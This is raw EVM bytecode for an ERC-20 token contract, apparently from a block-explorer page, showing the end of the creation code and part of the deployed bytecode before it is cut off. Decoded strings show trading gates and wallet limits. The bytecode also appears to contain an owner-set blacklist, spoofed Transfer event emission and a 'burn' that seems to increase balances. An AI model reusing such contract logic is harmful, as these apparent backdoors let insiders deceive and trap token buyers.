60006020820190508181036000830152614bc681614b8a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614c03601683613e08565b9150614c0e82614bcd565b602082019050919050565b60006020820190508181036000830152614c3281614bf6565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000614cbb604983613e08565b9150614cc682614c39565b606082019050919050565b60006020820190508181036000830152614cea81614cae565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614d4d603583613e08565b9150614d5882614cf1565b604082019050919050565b60006020820190508181036000830152614d7c81614d40565b9050919050565b6000614d8e82613f17565b9150614d9983613f17565b9250828201905080821115614db157614db06143d3565b5b92915050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614ded601383613e08565b9150614df882614db7565b602082019050919050565b60006020820190508181036000830152614e1c81614de0565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000614e7f603683613e08565b9150614e8a82614e23565b604082019050919050565b60006020820190508181036000830152614eae81614e72565b9050919050565b6000614ec082613f17565b9150614ecb83613f17565b9250828203905081811115614ee357614ee26143d3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614f1f601b83613e08565b9150614f2a82614ee9565b602082019050919050565b60006020820190508181036000830152614f4e81614f12565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000614fb1602183613e08565b9150614fbc82614f55565b604082019050919050565b60006020820190508181036000830152614fe081614fa4565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000615043602283613e08565b915061504e82614fe7565b604082019050919050565b6000602082019050818103600083015261507281615036565b9050919050565b600081905092915050565b50565b6000615094600083615079565b915061509f82615084565b600082019050919050565b60006150b582615087565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061511b602183613e08565b9150615126826150bf565b604082019050919050565b6000602082019050818103600083015261514a8161510e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061518f81613eeb565b92915050565b6000602082840312156151ab576151aa613eaf565b5b60006151b984828501615180565b91505092915050565b6000819050919050565b60006151e76151e26151dd846151c2565b613ff0565b613f17565b9050919050565b6151f7816151cc565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61523281613ed9565b82525050565b60006152448383615229565b60208301905092915050565b6000602082019050919050565b6000615268826151fd565b6152728185615208565b935061527d83615219565b8060005b838110156152ae5781516152958882615238565b97506152a083615250565b925050600181019050615281565b5085935050505092915050565b600060a0820190506152d0600083018861406a565b6152dd60208301876151ee565b81810360408301526152ef818661525d565b90506152fe606083018561427c565b61530b608083018461406a565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220db6dedd27e491a64ca4717908eb11b213c0b94a31eb8b85de51c265a5ddfa97164736f6c634300081300330000000000000000000000001aeab76eb4da277ea583931a062d70b3a471c7da000000000000000000000000b3b5dc5f493728006d7a7e30f51ddef74aec4be9

Deployed Bytecode

0x6080604052600436106103a65760003560e01c80638ea5220f116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f11a24d31161006f578063f11a24d314610dd9578063f2fde38b14610e04578063f637434214610e2d578063f8b45b0514610e58576103ad565b8063dd62ed3e14610d09578063e2f4560514610d46578063e884f26014610d71578063e9a6f14b14610d9c576103ad565b8063c876d0b9116100dc578063c876d0b914610c4b578063c8c8ebe414610c76578063d257b34f14610ca1578063d85ba06314610cde576103ad565b8063bbc0c74214610ba5578063c024666814610bd0578063c18bc19514610bf9578063c2b7bbb614610c22576103ad565b8063a0d82dc511610185578063a746223f11610154578063a746223f14610ad9578063a9059cbb14610b02578063aacebbe314610b3f578063b62496f514610b68576103ad565b8063a0d82dc514610a1d578063a265777814610a48578063a457c2d714610a71578063a4d15b6414610aae576103ad565b806395d89b41116101c157806395d89b41146109735780639a7a23d61461099e5780639c3b4fdc146109c75780639fccce32146109f2576103ad565b80638ea5220f146108f4578063921369131461091f578063924de9b71461094a576103ad565b806342966c68116102cc57806370a082311161026a57806375f0a8741161023957806375f0a8741461085c5780637bce5a04146108875780638a8c523c146108b25780638da5cb5b146108c9576103ad565b806370a08231146107b4578063715018a6146107f1578063751039fc146108085780637571336a14610833576103ad565b80634fbee193116102a65780634fbee193146106f6578063541a43cf146107335780636a486a8e1461075e5780636ddd171314610789576103ad565b806342966c681461067757806349bd5a5e146106a05780634a62bb65146106cb576103ad565b80631f3fed8f116103445780632bf3d42d116103135780632bf3d42d146105bb5780632d5a5d34146105e6578063313ce5671461060f578063395093511461063a576103ad565b80631f3fed8f14610501578063203e727e1461052c57806323b872dd1461055557806326ededb814610592576103ad565b80631694505e116103805780631694505e1461045757806318160ddd146104825780631816467f146104ad5780631a8145bb146104d6576103ad565b806306fdde03146103b2578063095ea7b3146103dd57806310d5de531461041a576103ad565b366103ad57005b600080fd5b3480156103be57600080fd5b506103c7610e83565b6040516103d49190613e8d565b60405180910390f35b3480156103e957600080fd5b5061040460048036038101906103ff9190613f4d565b610f15565b6040516104119190613fa8565b60405180910390f35b34801561042657600080fd5b50610441600480360381019061043c9190613fc3565b610f33565b60405161044e9190613fa8565b60405180910390f35b34801561046357600080fd5b5061046c610f53565b604051610479919061404f565b60405180910390f35b34801561048e57600080fd5b50610497610f77565b6040516104a49190614079565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190613fc3565b610f81565b005b3480156104e257600080fd5b506104eb611049565b6040516104f89190614079565b60405180910390f35b34801561050d57600080fd5b5061051661104f565b6040516105239190614079565b60405180910390f35b34801561053857600080fd5b50610553600480360381019061054e9190614094565b611055565b005b34801561056157600080fd5b5061057c600480360381019061057791906140c1565b6110e8565b6040516105899190613fa8565b60405180910390f35b34801561059e57600080fd5b506105b960048036038101906105b49190614179565b6111c1565b005b3480156105c757600080fd5b506105d061129e565b6040516105dd9190614079565b60405180910390f35b3480156105f257600080fd5b5061060d60048036038101906106089190614205565b6112a4565b005b34801561061b57600080fd5b50610624611307565b6040516106319190614261565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190613f4d565b611310565b60405161066e9190613fa8565b60405180910390f35b34801561068357600080fd5b5061069e60048036038101906106999190614094565b6113c3565b005b3480156106ac57600080fd5b506106b56113df565b6040516106c2919061428b565b60405180910390f35b3480156106d757600080fd5b506106e0611405565b6040516106ed9190613fa8565b60405180910390f35b34801561070257600080fd5b5061071d60048036038101906107189190613fc3565b611418565b60405161072a9190613fa8565b60405180910390f35b34801561073f57600080fd5b5061074861146e565b6040516107559190614079565b60405180910390f35b34801561076a57600080fd5b50610773611474565b6040516107809190614079565b60405180910390f35b34801561079557600080fd5b5061079e61147a565b6040516107ab9190613fa8565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d69190613fc3565b61148d565b6040516107e89190614079565b60405180910390f35b3480156107fd57600080fd5b506108066114d6565b005b34801561081457600080fd5b5061081d6114ea565b60405161082a9190613fa8565b60405180910390f35b34801561083f57600080fd5b5061085a60048036038101906108559190614205565b611516565b005b34801561086857600080fd5b50610871611579565b60405161087e919061428b565b60405180910390f35b34801561089357600080fd5b5061089c61159f565b6040516108a99190614079565b60405180910390f35b3480156108be57600080fd5b506108c76115a5565b005b3480156108d557600080fd5b506108de6115ec565b6040516108eb919061428b565b60405180910390f35b34801561090057600080fd5b50610909611616565b604051610916919061428b565b60405180910390f35b34801561092b57600080fd5b5061093461163c565b6040516109419190614079565b60405180910390f35b34801561095657600080fd5b50610971600480360381019061096c91906142a6565b611642565b005b34801561097f57600080fd5b50610988611667565b6040516109959190613e8d565b60405180910390f35b3480156109aa57600080fd5b506109c560048036038101906109c09190614205565b6116f9565b005b3480156109d357600080fd5b506109dc61179f565b6040516109e99190614079565b60405180910390f35b3480156109fe57600080fd5b50610a076117a5565b604051610a149190614079565b60405180910390f35b348015610a2957600080fd5b50610a326117ab565b604051610a3f9190614079565b60405180910390f35b348015610a5457600080fd5b50610a6f6004803603810190610a6a91906142a6565b6117b1565b005b348015610a7d57600080fd5b50610a986004803603810190610a939190613f4d565b6117d6565b604051610aa59190613fa8565b60405180910390f35b348015610aba57600080fd5b50610ac36118a3565b604051610ad09190613fa8565b60405180910390f35b348015610ae557600080fd5b50610b006004803603810190610afb91906142d3565b6118b6565b005b348015610b0e57600080fd5b50610b296004803603810190610b249190613f4d565b611963565b604051610b369190613fa8565b60405180910390f35b348015610b4b57600080fd5b50610b666004803603810190610b619190613fc3565b611981565b005b348015610b7457600080fd5b50610b8f6004803603810190610b8a9190613fc3565b611a49565b604051610b9c9190613fa8565b60405180910390f35b348015610bb157600080fd5b50610bba611a69565b604051610bc79190613fa8565b60405180910390f35b348015610bdc57600080fd5b50610bf76004803603810190610bf29190614205565b611a7c565b005b348015610c0557600080fd5b50610c206004803603810190610c1b9190614094565b611b2d565b005b348015610c2e57600080fd5b50610c496004803603810190610c449190613fc3565b611bc0565b005b348015610c5757600080fd5b50610c60611c0c565b604051610c6d9190613fa8565b60405180910390f35b348015610c8257600080fd5b50610c8b611c1f565b604051610c989190614079565b60405180910390f35b348015610cad57600080fd5b50610cc86004803603810190610cc39190614094565b611c25565b604051610cd59190613fa8565b60405180910390f35b348015610cea57600080fd5b50610cf3611d06565b604051610d009190614079565b60405180910390f35b348015610d1557600080fd5b50610d306004803603810190610d2b9190614333565b611d0c565b604051610d3d9190614079565b60405180910390f35b348015610d5257600080fd5b50610d5b611d93565b604051610d689190614079565b60405180910390f35b348015610d7d57600080fd5b50610d86611d99565b604051610d939190613fa8565b60405180910390f35b348015610da857600080fd5b50610dc36004803603810190610dbe9190613fc3565b611dc5565b604051610dd09190613fa8565b60405180910390f35b348015610de557600080fd5b50610dee611e1b565b604051610dfb9190614079565b60405180910390f35b348015610e1057600080fd5b50610e2b6004803603810190610e269190613fc3565b611e21565b005b348015610e3957600080fd5b50610e42611ea4565b604051610e4f9190614079565b60405180910390f35b348015610e6457600080fd5b50610e6d611eaa565b604051610e7a9190614079565b60405180910390f35b606060048054610e92906143a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe906143a2565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b5050505050905090565b6000610f29610f22611eb0565b8484611eb8565b6001905092915050565b601f6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600354905090565b610f89612081565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60185481565b60175481565b61105d612081565b633b9aca006103e8600561106f610f77565b6110799190614402565b6110839190614473565b61108d9190614473565b8110156110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c690614516565b60405180910390fd5b633b9aca00816110df9190614402565b600a8190555050565b60006110f5848484612115565b6111b684611101611eb0565b6111b18560405180606001604052806028815260200161533c60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611167611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130579092919063ffffffff16565b611eb8565b600190509392505050565b6111c9612081565b60005b83839050811015611298578383828181106111ea576111e9614536565b5b90506020020160208101906111ff9190613fc3565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127d9190614079565b60405180910390a3808061129090614565565b9150506111cc565b50505050565b60165481565b6112ac612081565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b60006113b961131d611eb0565b846113b4856002600061132e611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130bb90919063ffffffff16565b611eb8565b6001905092915050565b6113cb612081565b6113dc6113d6611eb0565b82613119565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960159054906101000a900460ff1681565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60155481565b60115481565b600960179054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114de612081565b6114e860006132cc565b565b60006114f4612081565b6000600960156101000a81548160ff0219169083151502179055506001905090565b61151e612081565b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6115ad612081565b6001600960166101000a81548160ff0219169083151502179055506001600960176101000a81548160ff02191690831515021790555043601a81905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b61164a612081565b80600960176101000a81548160ff02191690831515021790555050565b606060058054611676906143a2565b80601f01602080910402602001604051908101604052809291908181526020018280546116a2906143a2565b80156116ef5780601f106116c4576101008083540402835291602001916116ef565b820191906000526020600020905b8154815290600101906020018083116116d257829003601f168201915b5050505050905090565b611701612081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117889061461f565b60405180910390fd5b61179b8282613392565b5050565b60105481565b60195481565b60145481565b6117b9612081565b80600960186101000a81548160ff02191690831515021790555050565b60006118996117e3611eb0565b8461189485604051806060016040528060258152602001615364602591396002600061180d611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130579092919063ffffffff16565b611eb8565b6001905092915050565b600960189054906101000a900460ff1681565b6118be612081565b60005b8383905081101561195d5781602060008686858181106118e4576118e3614536565b5b90506020020160208101906118f99190613fc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061195590614565565b9150506118c1565b50505050565b6000611977611970611eb0565b8484612115565b6001905092915050565b611989612081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60216020528060005260406000206000915054906101000a900460ff1681565b600960169054906101000a900460ff1681565b611a84612081565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611b219190613fa8565b60405180910390a25050565b611b35612081565b633b9aca006103e8600f611b47610f77565b611b519190614402565b611b5b9190614473565b611b659190614473565b811015611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e906146b1565b60405180910390fd5b633b9aca0081611bb79190614402565b600c8190555050565b611bc8612081565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960199054906101000a900460ff1681565b600a5481565b6000611c2f612081565b620186a06001611c3d610f77565b611c479190614402565b611c519190614473565b821015611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a90614743565b60405180910390fd5b6103e86005611ca0610f77565b611caa9190614402565b611cb49190614473565b821115611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced906147d5565b60405180910390fd5b81600b8190555060019050919050565b600d5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b6000611da3612081565b6000600960196101000a81548160ff0219169083151502179055506001905090565b6000602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600f5481565b611e29612081565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8f90614867565b60405180910390fd5b611ea1816132cc565b50565b60135481565b600c5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1e906148f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8d9061498b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120749190614079565b60405180910390a3505050565b60008061208c611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210a906149f7565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b90614a89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614b1b565b60405180910390fd5b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122975750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90614bad565b60405180910390fd5b600081036122ef576122ea83836000613433565b613052565b6000601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361237b5743601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600960159054906101000a900460ff1615612a40576123986115ec565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561240657506123d66115ec565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561243f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612479575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124925750600960149054906101000a900460ff16155b15612a3f57600960169054906101000a900460ff1661258c57601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061254c5750601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61258b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258290614c19565b60405180910390fd5b5b600960199054906101000a900460ff1615612756576125a96115ec565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561263057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561268a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156127555743601b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270790614cd1565b60405180910390fd5b43601b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127f95750601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128a057600a54811115612843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283a90614d63565b60405180910390fd5b600c5461284f8361148d565b8261285a9190614d83565b111561289b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289290614e03565b60405180910390fd5b612a3e565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129435750601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561299257600a5481111561298d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298490614e95565b60405180910390fd5b612a3d565b601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a3c57600c546129ef8361148d565b826129fa9190614d83565b1115612a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3290614e03565b60405180910390fd5b5b5b5b5b5b6000601a54612a4f9190614d83565b4311158015612aac5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af85750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b56576000601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000612b613061148d565b90506000600b548210159050808015612b865750600960179054906101000a900460ff165b8015612b9f5750600960149054906101000a900460ff16155b8015612bf55750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c4b5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612ca15750601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ce5576001600960146101000a81548160ff021916908315150217905550612cc96136ca565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16158015612d105750600960179054906101000a900460ff165b9050601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612db35750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612dbd57600090505b6000811561303657602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e2057506000601154115b15612eed57612e4d6064612e3f6011548861390c90919063ffffffff16565b61398690919063ffffffff16565b905060115460135482612e609190614402565b612e6a9190614473565b60186000828254612e7b9190614d83565b9250508190555060115460145482612e939190614402565b612e9d9190614473565b60196000828254612eae9190614d83565b9250508190555060115460125482612ec69190614402565b612ed09190614473565b60176000828254612ee19190614d83565b92505081905550613012565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612f4857506000600d54115b1561301157612f756064612f67600d548861390c90919063ffffffff16565b61398690919063ffffffff16565b9050600d54600f5482612f889190614402565b612f929190614473565b60186000828254612fa39190614d83565b92505081905550600d5460105482612fbb9190614402565b612fc59190614473565b60196000828254612fd69190614d83565b92505081905550600d54600e5482612fee9190614402565b612ff89190614473565b601760008282546130099190614d83565b925050819055505b5b600081111561302757613026873083613433565b5b80856130339190614eb5565b94505b61304085886139d0565b945061304d878787613433565b505050505b505050565b600083831115829061309f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130969190613e8d565b60405180910390fd5b50600083856130ae9190614eb5565b9050809150509392505050565b60008082846130ca9190614d83565b90508381101561310f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161310690614f35565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161317f90614fc7565b60405180910390fd5b61319482600083613af4565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181111561321b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161321290615059565b60405180910390fd5b818101600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132bf9190614079565b60405180910390a3505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036134a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161349990614a89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161350890614b1b565b60405180910390fd5b61351c838383613af4565b6135888160405180606001604052806026815260200161531660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130579092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061361d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130bb90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136bd9190614079565b60405180910390a3505050565b60006136d53061148d565b905060006019546017546018546136ec9190614d83565b6136f69190614d83565b90506000808314806137085750600082145b156137155750505061390a565b6014600b546137249190614402565b83111561373d576014600b5461373a9190614402565b92505b6000600283601854866137509190614402565b61375a9190614473565b6137649190614473565b9050600061377b8286613af990919063ffffffff16565b9050600047905061378b82613b43565b60006137a08247613af990919063ffffffff16565b905060006137cb876137bd6019548561390c90919063ffffffff16565b61398690919063ffffffff16565b905060